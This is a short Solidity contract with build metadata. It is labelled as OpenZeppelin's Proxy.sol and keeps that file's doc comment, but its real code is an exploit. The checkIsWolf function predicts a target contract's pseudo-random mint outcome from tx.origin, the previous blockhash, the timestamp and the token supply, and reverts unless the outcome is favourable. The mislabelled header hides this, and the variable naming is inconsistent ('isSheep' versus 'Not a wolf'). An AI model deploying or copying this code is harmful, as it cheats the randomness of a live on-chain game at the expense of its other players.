// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.3.2 (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
contract Proxy {
function checkIsWolf(address _contractAddress) public {
(bool success, bytes memory supply) = _contractAddress.call(abi.encodeWithSignature("totalSupply()"));
require(success, 'Failed getting total supply');
uint256 randomSeed = random(toUint256(supply) + 1);
bool isSheep = (randomSeed & 0xFFFF) % 10 == 0;
require(isSheep, 'Not a wolf');
}
function random(uint256 seed) internal view returns (uint256) {
return uint256(keccak256(abi.encodePacked(
tx.origin,
blockhash(block.number - 1),
block.timestamp,
seed
)));
}
function toUint256(bytes memory _bytes)
internal
pure
returns (uint256 value) {
assembly {
value := mload(add(_bytes, 0x20))
}
}
}
{
"compilationTarget": {
"contracts/Proxy.sol": "Proxy"
},
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[{"internalType":"address","name":"_contractAddress","type":"address"}],"name":"checkIsWolf","outputs":[],"stateMutability":"nonpayable","type":"function"}]